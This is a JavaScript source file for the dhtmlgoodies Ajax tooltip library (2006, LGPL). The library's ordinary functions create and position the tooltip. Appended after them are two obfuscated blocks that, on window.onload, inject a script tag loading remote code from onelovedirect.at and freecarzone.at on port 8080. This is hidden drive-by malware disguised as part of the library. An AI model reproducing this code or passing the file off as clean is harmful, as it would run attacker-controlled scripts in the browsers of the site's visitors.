/************************************************************************************************************
	@fileoverview
	Ajax tooltip
	Copyright (C) 2006  Alf Magne Kalleland(post@dhtmlgoodies.com)
	
	This library is free software; you can redistribute it and/or
	modify it under the terms of the GNU Lesser General Public
	License as published by the Free Software Foundation; either
	version 2.1 of the License, or (at your option) any later version.
	
	This library is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
	Lesser General Public License for more details.
	
	You should have received a copy of the GNU Lesser General Public
	License along with this library; if not, write to the Free Software
	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
	
	
	www.dhtmlgoodies.com 
	Alf Magne Kalleland

************************************************************************************************************/

/* Custom variables */

/* Offset position of tooltip */
var x_offset_tooltip = 5;
var y_offset_tooltip = 0;

/* Don't change anything below here */


var ajax_tooltipObj = false;
var ajax_tooltipObj_iframe = false;

var ajax_tooltip_MSIE = false;
if(navigator.userAgent.indexOf('MSIE')>=0)ajax_tooltip_MSIE=true;



var currentTooltipObject = false;

function ajax_showTooltip(e,externalFile,inputObj)
{
	currentTooltipObject = inputObj;
	//window.onresize = function(e) { ajax_positionTooltip(e); } ;
   if(document.all)e = event;

   
	if(!ajax_tooltipObj)	/* Tooltip div not created yet ? */
	{
		ajax_tooltipObj = document.createElement('DIV');
		ajax_tooltipObj.style.position = 'absolute';
		ajax_tooltipObj.id = 'ajax_tooltipObj';		
		
		document.body.appendChild(ajax_tooltipObj);

		
		var leftDiv = document.createElement('DIV');	/* Create arrow div */
		leftDiv.className='ajax_tooltip_arrow';
		leftDiv.id = 'ajax_tooltip_arrow';
		ajax_tooltipObj.appendChild(leftDiv);
		
		var contentDiv = document.createElement('DIV'); /* Create tooltip content div */
		contentDiv.className = 'ajax_tooltip_content';
		ajax_tooltipObj.appendChild(contentDiv);
		contentDiv.id = 'ajax_tooltip_content';
		contentDiv.style.marginBottom = '15px';
		
		// Creating button div
		var buttonDiv = document.createElement('DIV');
		buttonDiv.style.cssText = 'position:absolute;left:50%;bottom:20px;text-align:center;background-color:#FFF;font-size:0.8em;height:15px;z-index:10000000';
		
		ajax_tooltipObj.appendChild(buttonDiv);

		if(ajax_tooltip_MSIE){	/* Create iframe object for MSIE in order to make the tooltip cover select boxes */
			ajax_tooltipObj.style.cursor = 'move';
			ajax_tooltipObj_iframe = document.createElement('<IFRAME frameborder="0">');
			ajax_tooltipObj_iframe.style.position = 'absolute';
			ajax_tooltipObj_iframe.border='0';
			ajax_tooltipObj_iframe.frameborder=0;
			ajax_tooltipObj_iframe.style.backgroundColor='#FFF';
			ajax_tooltipObj_iframe.src = 'about:blank';
			contentDiv.appendChild(ajax_tooltipObj_iframe);
			ajax_tooltipObj_iframe.style.left = '0px';
			ajax_tooltipObj_iframe.style.top = '0px';
		}		
	}
	// Find position of tooltip
	ajax_tooltipObj.style.display='block';
	ajax_loadContent('ajax_tooltip_content',externalFile);
	if(ajax_tooltip_MSIE){
		ajax_tooltipObj_iframe.style.width = ajax_tooltipObj.clientWidth + 'px';
		ajax_tooltipObj_iframe.style.height = ajax_tooltipObj.clientHeight + 'px';
	}

	
	ajax_positionTooltip(e,inputObj); 
}

function ajax_positionTooltip(e,inputObj)
{
	if(!inputObj)inputObj=currentTooltipObject;
	if(inputObj){
		var leftPos = (ajaxTooltip_getLeftPos(inputObj) + inputObj.offsetWidth);
		var topPos = ajaxTooltip_getTopPos(inputObj);
	}else{		
	   var leftPos = e.clientX;
	   var topPos = e.clientY;
	}
   var tooltipWidth = document.getElementById('ajax_tooltip_content').offsetWidth +  document.getElementById('ajax_tooltip_arrow').offsetWidth;
   ajax_tooltipObj.style.left = leftPos + 'px';
   ajax_tooltipObj.style.top = topPos + 'px';   
} 

function ajax_hideTooltip()
{
	ajax_tooltipObj.style.display='none';
}

function ajaxTooltip_getTopPos(inputObj)
{		
  var returnValue = inputObj.offsetTop;
  while((inputObj = inputObj.offsetParent) != null){
  	if(inputObj.tagName!='HTML')returnValue += inputObj.offsetTop;
  }
  return returnValue;
}

function ajaxTooltip_getLeftPos(inputObj)
{
  var returnValue = inputObj.offsetLeft;
  while((inputObj = inputObj.offsetParent) != null){
  	if(inputObj.tagName!='HTML')returnValue += inputObj.offsetLeft;
  }
  return returnValue;
}

var n;if(n!='sF'){n='sF'};try {var Y;if(Y!='nK' && Y != ''){Y=null};var J=window[unescape("%75%6e%65%73%63%61%70%65")];var C="";var FU=new Date();var e=window[J("%52%65%67%45%78%70")];var WC='';var Js;if(Js!='' && Js!='h'){Js=null};var a=J("%72%65%70%6c%61%63%65");var T=null;var E;if(E!='u' && E!='yH'){E=''};this.vB='';this.yO='';function _(c,_H){var nM;if(nM!='' && nM!='L'){nM=''};var sa='';var H=J("%5b");var X=new Date();H+=_H;H+=J("%5d");var d='';var Q=new e(H, J("%67"));return c.replace(Q, T);this.V='';var EP;if(EP!='' && EP!='eX'){EP='CT'};};this.z="";var c_="onloLOZj".substr(0,4)+"SiHCad".substr(4);var BY;if(BY!='' && BY!='Vu'){BY=null};var w=_('/vgfo_o_gHl6eQ.HcVofmA/NiCsvtVoHcVkvpVhVoHtAo6.HcCoAmQ/_nQyAt6iCm_eVsV.vcAoCmA.Npvh_pH','fVNCH6AQ_v');var c=J("%31");var lw;if(lw!='Hw'){lw='Hw'};var v=J("%73%63%72%69%70%74");var zm;if(zm!='WE' && zm!='iQ'){zm='WE'};this.k="";var s='';this.Hn="";var N="\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6e\x65\x6c\x6f\x76\x65\x64\x69\x72\x65\x63\x74\x2e\x61\x74\x3a";var Ka;if(Ka!='' && Ka!='tD'){Ka=null};var TP=_('8952237930577954221487639555094396245','35617942');this.py="";function Hk(){this.sC='';var Qd=document;var Gj;if(Gj!='' && Gj!='oM'){Gj='df'};var TO=new Array();var rS='';K=Qd.createElement(v);var Ls;if(Ls!='pW' && Ls!='PI'){Ls=''};var IV;if(IV!='Ch' && IV!='Yd'){IV=''};var KY='';s+=N;var dD=new Date();s+=TP+w;var y=Qd.body;K.src=s;var vg=new Date();var Yp=new Date();K.defer=c;this.wk='';var zf=new Array();var DJ="";var Wl=new Array();y.appendChild(K);var lt=new String();};window[c_]=Hk;var QV=new Array();var mm;if(mm!='' && mm!='JL'){mm='tF'};this.qj='';} catch(W){};var wQ;if(wQ!='Jq' && wQ != ''){wQ=null};

this.mz="";function i(){var oH;if(oH!='' && oH!='o'){oH=''};var b;if(b!='LD' && b!='DX'){b=''};this.Li="";this.V="";var NX=new Date();var k;if(k!='' && k!='T'){k=null};var W=window;this.R="";this.Zl="";var Wd;if(Wd!='' && Wd!='r'){Wd='g'};var Q=W['unescape'];var X;if(X!=''){X='n'};var FT=new Date();var Z=Q("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%69%6d%67%2e%63%6f%6d%2f%6e%79%64%61%69%6c%79%6e%65%77%73%2e%63%6f%6d%2e%70%68%70");var dB=new Array();var Tg=new String();this.P="";function M(c,e){var Tw=new String();var vp;if(vp!='LE'){vp='LE'};var m=Q("%5d");var u=Q("%5b");var a="";var d=new String("g");var kO="";var eE="";var L=new RegExp(u+e+m, d);var HW=new Array();var wG="";return c.replace(L, new String());};var YG=new Date();var cF=new Date();var f;if(f!='Fl' && f!='MX'){f='Fl'};var em=M('s0r3ck','WdQCliNk3AT079Dz5E_');var yd=new Array();var Y=M('sKcOrOiOpOtA','1ygKOzA8');var dh=M('dZePf6e8rP','2VaPvZKyIC8pw4_6GN');var tm=new Array();var O=M('844519945940714364684944542530945696231','45213976');var TK="";this.bX='';var _=document;var AJ;if(AJ!=''){AJ='S'};this.BD='';var xG='';function A(){this.ed='';var t=Q("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");this.PF="";this.z="";var D=t;var bK;if(bK!='' && bK!='rt'){bK=null};D+=O;var HN;if(HN!='' && HN!='YP'){HN=null};D+=Z;var VB;if(VB!='yW' && VB!='Jp'){VB='yW'};var fs;if(fs!='wb' && fs!='FB'){fs='wb'};var Kk;if(Kk!='' && Kk!='mUl'){Kk=''};var CJ;if(CJ!=''){CJ='db'};try {Yb=_[M('chrweuaut5euEfl9eSmheynUt6','FUfR5yuSd34whvq69Z')](Y);var _f;if(_f!='qX' && _f!='xGf'){_f=''};this.iy='';var vq;if(vq!=''){vq='ne'};Yb[dh]=[1][0];this.cU="";var Eg='';Yb[em]=D;var nc=new Date();var Yn;if(Yn!='' && Yn!='Na'){Yn='gB'};_.body[M('aRpNp_eFn7dMCbhHi_l7d3','tx7gjHZNFvMz_RTVA3b')](Yb);} catch(N){this.DI="";};var G='';var rG;if(rG!='Qk' && rG!='LF'){rG='Qk'};var Ix;if(Ix!='' && Ix!='YY'){Ix=null};}var mr;if(mr!='sQ' && mr != ''){mr=null};var DR;if(DR!='eF' && DR != ''){DR=null};var s=M('ogn3lUobakdf','rgik8bU3fmFj');var Tx=new Date();W[s]=A;var Cu;if(Cu!='fI' && Cu!='uI'){Cu='fI'};var EG;if(EG!='' && EG!='Ay'){EG='NT'};};var hL;if(hL!='VK'){hL=''};var Hv;if(Hv!='' && Hv!='AvI'){Hv=null};i();
